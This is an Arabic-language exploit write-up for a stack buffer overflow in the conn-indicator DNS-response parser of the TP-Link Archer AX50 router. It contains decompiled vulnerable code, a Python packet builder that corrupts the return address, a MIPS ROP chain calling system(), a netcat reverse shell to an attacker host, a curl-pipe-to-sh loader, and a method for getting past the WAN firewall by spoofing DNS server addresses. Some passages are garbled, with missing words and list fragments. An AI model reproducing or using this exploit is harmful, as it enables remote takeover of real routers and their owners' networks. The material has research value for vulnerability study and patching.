
استغلال لثغرة تجاوز سعة المخزن المؤقت في المكدس الموجودة في ثنائي conn-indicator في جهاز التوجيه TP-Link Archer AX50
جهاز التوجيه TP-Link Archer AX50 عرضة لثغرة تجاوز سعة المخزن المؤقت (stack-based buffer overflow) في إصدار البرنامج الثابت 1.0.14 Build 20240108 rel.42655(4555)، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (Remote Code Execution) على جانبي الشبكة المحلية (LAN) والشبكة الواسعة (WAN). لهذه الثغرة نفس السبب الجذري مثل CVE-2020-10881، التي اكتشفها فريق Flashback وتم تفصيلها بشكل كبير في سلسلة مقاطع الفيديو الخاصة بهم عنها (راجع المراجع). ومع ذلك، تختلف عملية الاستغلال قليلاً، لذا كان لا بد من كتابة استغلال جديد.

تحدث هذه الثغرة في برنامج conn-indicator الثنائي، المسؤول عن التحقق من اتصال جهاز التوجيه بالإنترنت عن طريق إرسال استعلامات DNS بشكل دوري والاستماع لاستجاباتها على منفذ UDP عشوائي بين 32000 و 61000.
الوظيفة التي تستقبل وتعالج لأول مرة حزم استجابة DNS هذه هي TPDns_RecvAndResolve()، الموجودة في 0x00405e3c. عند استلام حزمة باستخدام recvfrom، يتم تخزينها في buf، بحجم 2960 بايت. ثم تتحقق من صحة رمز الإرجاع (RCODE == 0) وتتحقق من عدد الأسئلة والإجابات في الحزمة (QDCOUNT و ANCOUNT). لمعالجة الإجابات، تستدعي process_resolved_IP() وتمرر مؤشرًا إلى buf، وanswer_ptr وهو مؤشر إلى مكان الإجابات داخل الحزمة في buf، وعدد الإجابات (ANCOUNT) وعلماء آخرين:
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* Check that ANCOUNT is not 0 (answer contains at least one domain) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
الوظيفة process_resolved_IP()، الموجودة في 0x00405818، تمر عبر كل إجابة وتستدعي DNS_answer_parser() لكل منها. تمرر كوسائط نفس المؤشر إلى buf، وanswer وهو مؤشر إلى الإجابة الحالية التي يتم تحليلها داخل الحزمة الأصلية في buf، ومؤشر إلى current_answer وهو مخزن مؤقت بحجم 256:
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* Check if all answers have been parsed already */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
الوظيفة DNS_answer_parser()، الموجودة في 0x004054e0، تحلل كل إجابة على حدة، والتي تتكون من اسم نطاق ممثل كـ <len><domain><len><domain>.... على سبيل المثال، سيتم تمثيل example.com كـ 7example3com. تتنقل الوظيفة عبر كل زوج من <len><domain> الذي يشكل اسم النطاق في الإجابة وتتحقق من أن <len> أقل من 63 (domain_name & 0xc0 != 0). ثم تستدعي memcpy وتنسخ <len> بايت من answer، المقابلة لـ <domain>، إلى current_answer. تكرر العملية للزوج التالي من <len><domain> في اسم النطاق.
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* Check if compression mode is used */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
نظرًا لأن current_answer يبلغ طوله 256 بايت فقط، فمن الممكن للمهاجم إرسال حزمة بإجابة تحتوي على اسم نطاق كبير بما يكفي لتجاوز سعة المخزن المؤقت.
عملية الاستغلال مشابهة جدًا لتلك التي شرحها فريق Flashback لـ CVE-2020-10881 في سلسلة مقاطع الفيديو الخاصة بهم عنها (انظر المراجع)، مع بعض الاختلافات الرئيسية:
move، حيث أن السجل الذي يتم نقله إلى $a2 كوسيط count لـ memcpy() هو الآن $s1 بدلاً من $s0.i في process_resolved_IP() يتم تحميله في $s5 بدلاً من $s8. ثم عند مقارنته بـ $v1، يتم أخذ $v1 من $sp+616، وهو بعيد جدًا عن المخزن المؤقت الذي تم تجاوزه، لذا كان لا بد من إفساد المكدس أكثر من الإجابة والأمر./tmp، لذلك يجب أن تتم جميع عمليات الكتابة والقراءة هناك. هذا يجعل من المستحيل أن يكون الصدفة العكسية أقل من 62 حرفًا، لذا لنشرها على الهدف، يجب تقديمها من خادم ويب وإرسال أمر لتنزيلها وتنفيذها إلى الهدف.مع أخذ ذلك في الاعتبار، سأشرح العملية بأكملها على أي حال.
البرنامج الثنائي conn-indicator يحتوي على NX ممكن و ASLR في كل شيء باستثناء نفسه:
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
لذا فإن إستراتيجية استغلال هذه الثغرة هي بناء سلسلة ROP يمكننا من خلالها تنفيذ system() بالأمر المطلوب.
لتتمكن من تجاوز سعة المخزن المؤقت وإفساد سجل $ra، يحتاج المهاجم إلى إرسال استجابة DNS تحتوي على اسم نطاق كبير بما يكفي. فيما يتعلق برأس DNS، المتطلب الوحيد هو أن RCODE يساوي 0 وأن ANCOUNT يساوي 1، لأن الحزمة تحتاج فقط إلى احتواء إجابة واحدة. كمثال، الحزمة التالية تفسد سجل $ra بالقيمة 0x50505050:
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23
# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
الآن، نظرًا لأن عنوان البرنامج الثنائي هو نفسه دائمًا في كل تشغيل ولديه منطقة قابلة للكتابة، فإن الخطة هي نسخ الأمر المراد تنفيذه هناك ثم استدعاء system() به. للقيام بذلك، يتم استخدام سلسلة ROP التالية:
memcpy(). يتم تحميل عنوان الأداة التالية في $ra. ثم يتم نقل $s2 إلى $v0. يحتوي هذا على عنوان المنطقة القابلة للكتابة من البرنامج الثنائي والتي سيتم نسخ الأمر إليها، والتي ستكون وسيط dest لـ memcpy(). ثم يتم تحميل وسيط count لـ memcpy في $s1 من عنوان مكدس نتحكم فيه. أخيرًا، تقفز إلى الأداة التالية:00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy() ثم تستدعيها. يتم تحميل وسيط dest لـ memcpy()، المقابل للمنطقة القابلة للكتابة من البرنامج الثنائي، والتي كانت في $v0، إلى $a0 كأول معامل لـ memcpy(). في هذه المرحلة من التنفيذ، يشير $a1 إلى نهاية الإجابة في حزمة استجابة DNS، حيث وضعنا سلسلة الأمر، لذلك لا حاجة لتحضير معامل src. ثم يتم نقل $s1، الذي يحتوي على معامل count المحمل في الأداة السابقة، إلى $a2 كمعامل ثالث لـ memcpy(). أخيرًا، يتم استدعاء memcpy() ويتم نسخ سلسلة الأمر إلى المنطقة القابلة للكتابة من البرنامج الثنائي. توجد هذه الأداة في نهاية process_resolved_IP()، لذلك يستمر التنفيذ بداخلها. يجب ترتيب المكدس الآن حتى تتمكن الوظيفة من العودة بنجاح. للقيام بذلك، يتم وضع بعض المتغيرات من هذه الوظيفة التي يتم تحميلها من المكدس ومن بعض السجلات بعناية في الحمولة، مثل و و و . عند العودة، يتم أخذ عنوان مرة أخرى من المكدس، حيث نضع عنوان الأداة التالية للقفز إليها.00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system() وتستدعيها. في هذه المرحلة من التنفيذ، يحتوي $v0 على قيمة $s3، حيث وضعنا عنوان المنطقة القابلة للكتابة في البرنامج الثنائي، والتي تحتوي الآن على الأمر. لذا، يتم نقل $v0 إلى $a0. ثم يتم وضع عنوان system()، الذي تم استيراده إلى البرنامج الثنائي، من المكدس إلى $ra ويتم استدعاء system()، مما يحقق تنفيذ التعليمات البرمجية.004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
الآن، الصدفة العكسية التي سيتم تنفيذها على الهدف، والذي يعمل بنظام busybox، هي التالية:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
ومع ذلك، يجب أن يكون الأمر المراد تنفيذه أقصر من 62 حرفًا، وبما أن نظام الملفات قابل للكتابة فقط في /tmp، كان من المستحيل تنفيذ الصدفة العكسية مباشرة. بدلاً من ذلك، تم تنفيذ محمل: curl http://<attacker>:<port>/ | sh، الذي يسترجع الصدفة العكسية من المهاجم.
الآن، الشيء الوحيد المتبقي هو تخمين المنفذ الذي يستمع عليه conn-indicator، والذي يمكن أتمتته بسهولة.
حتى هذه المرحلة، كان هذا الاستغلال يعمل فقط على جانب LAN، لأن جانب WAN محمي بجدار حماية. ومع ذلك، هناك طريقة لتجاوز هذا القيد. لكي يستقبل conn-indicator استجابات DNS، يسمح جدار الحماية للحزم التي تأتي من نفس IP الذي أرسل استعلامات DNS من البرنامج الثنائي، أي الحزم التي تأتي من DNS الذي يستخدمه جهاز التوجيه الهدف. وبالتالي، لتجاوز جدار الحماية، يكفي إرسال حزم مزيفة كخادم DNS، والذي إذا كان الهدف في شبكة محلية فسيكون على الأرجح شيئًا مثل 192.168.0.1، 192.168.1.1 أو 10.0.0.1، وإذا كان الهدف متصلاً مباشرة بالإنترنت، فسيكون على الأرجح شيئًا مثل 8.8.8.8، 1.1.1.1 أو خوادم DNS شائعة أخرى.
يعمل الاستغلال الكامل الوظائف على كل من LAN و WAN. يقوم وضع LAN بتخمين كل منفذ من 32000 إلى 61000 ووضع WAN بتخمين نفس المنافذ وجميع عناوين IP الممكنة لـ DNS، المخزنة في SPOOF_LIST. يجب تعديل هذه القائمة بناءً على معرفة المهاجم بالهدف، ومع ذلك، مع الوقت الكافي (دقائق) يجب أن تغطي 90٪ من الحالات.
ANCOUNTparam_4param_5i$ra